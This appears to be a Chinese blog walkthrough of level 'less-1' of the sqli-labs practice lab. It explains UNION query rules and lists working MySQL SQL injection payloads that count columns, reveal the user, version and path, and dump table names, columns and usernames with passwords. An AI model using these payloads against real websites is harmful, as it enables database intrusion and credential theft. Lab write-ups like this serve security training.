less-1
根据提示输入id=1,添加单引号后报错。
image.png
一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。例如:
select 字段1,字段2 from tab1 union select 字段a,字段b from tab2
在这条sql语句中union前面的sql语句中的字段数应该与union后面的sql语句字段数一致,而且字段1与字段a类型相同,字段2与字段b类型相同。
所有我们现在使用order by 查询字段数。当
?id=1%27%20order%20by%204%23
image.png
报错,则推断原本的sql语句只是有用到了三个字段。
我们现在查询显示位
id=%27%20union%20select%201,2,3%23
发现显示位在2,3
注:我的数据库是mysql
mysql中的注释常用两种方式--+与#,#在url中需要编码为%23以。
获取数据库版本,数据库路径,当前用户,当前数据库:
' union select 1,concat_ws('_',user(),version(),database()),@@basedir%23
image.png
利用元数据库来爆表、爆数据
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
image.png
利用元数据库来爆列
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
利用元数据库来爆值
' union select 1,group_concat(username,password),3 from users--+
网友评论